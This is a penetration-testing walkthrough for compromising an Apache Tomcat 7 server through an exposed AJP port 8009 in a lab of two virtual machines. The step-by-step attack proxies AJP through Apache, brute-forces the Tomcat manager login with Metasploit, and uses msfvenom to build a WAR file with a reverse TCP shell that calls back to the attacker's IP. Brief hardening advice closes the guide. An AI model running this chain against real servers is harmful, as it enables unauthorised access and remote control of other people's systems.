By default, Apache Tomcat listens on 3 ports, 8005, 8009 and 8080. A common misconfiguration is blocking port 8080 but leaving ports 8005 or 8009 open for public access. Port 8005 is less interesting and only allows shutting down the Tomcat server, while port 8009 hosts the exact same functionality as port 8080. The only difference being that port 8009 communicates with the Apache JServ Protocol while port 8080 uses HTTP.
Having the Tomcat service exposed allows attackers to access the Tomcat Manager interface. Although often password protected, brute force attacks using default and common passwords have proven successful in the past. Once access to the manager interface has been achieved, compromising the server becomes trivial with the WAR file deployment functionality.
The Apache JServ Protocol (AJP) is essentially an optimized binary version of HTTP. This makes communication with the AJP port rather difficult using conventional tools. The simplest solution is to configure Apache as a local proxy, which performs transparent conversion of HTTP traffic to AJP format. Once configured, an attacker can use common tools such as Hydra and Metasploit to exploit the Tomcat server over AJP.
The following guide will demonstrate how to configure Apache and exploit a Tomcat 7 instance, running on an Ubuntu 16.10 virtual machine. The Ubuntu firewall was enabled with only port 8009 accessible, and weak credentials used on the Tomcat manager interface. The attacking machine was a default Kali 2016.2 image installed inside a virtual machine.
Step 1: Install the Dependencies
The first line installs the mod-jk package which allows Apache to forward requests to Tomcat using the AJP protocol. It can communication to Tomcat on the local machine or to a remote instance. The second line enables the proxy_ajp module and required dependencies automatically.
apt install libapache2-mod-jk
Step 2: Configure Apache
Next create a configuration file in /etc/apache2/sites-enabled/ which will hold our proxy setup, I’ve named mine ajp.conf.
# Only allow localhost to proxy requests
Deny from all
Allow from localhost
# Change the IP address in the below lines to the remote servers IP address hosting the Tomcat instance
ProxyPass / ajp://192.168.109.134:8009/
ProxyPassReverse / ajp://192.168.109.134:8009/
Now start apache.
systemctl start apache2
Visiting 127.0.0.1 should cause Apache to redirect the request to the specified server in the ajp.conf file using the AJP protocol.
Step 3: Brute Force Credentials
There are a few tools available to exploit the Tomcat manager. Metasploit contains an auxiliary module to brute force the login credentials.
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(tomcat_mgr_login) > set RPORT 80
RPORT => 80
msf auxiliary(tomcat_mgr_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(tomcat_mgr_login) > run
[+] 127.0.0.1:80 - LOGIN SUCCESSFUL: admin:admin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Step 4: Exploit
Generate a malicious WAR file containing a reverse TCP shell. Configure the local IP and port accordingly.
msfvenom -p java/shell_reverse_tcp LHOST=192.168.109.129 LPORT=4444 -f war > shell3.war
Setup a handler in Metasploit then visit the manger interface to deploy the malicious WAR. Once uploaded make sure to visit the malicious URL (available in applications list) at least once to cause the WAR to execute. You should have received a shell in the Metasploit handler.
Preventing public access to the Tomcat manager interface is important and blocking port 8080 alone is not sufficient. Port 8009 (and 8005) are just as important and should never be publically accessible. If for some reason the manager interface needs to be made available over the internet, Tomcat allows filtering access by IP address. This should be combined with a strong passphrase in the event of a spoofing attack.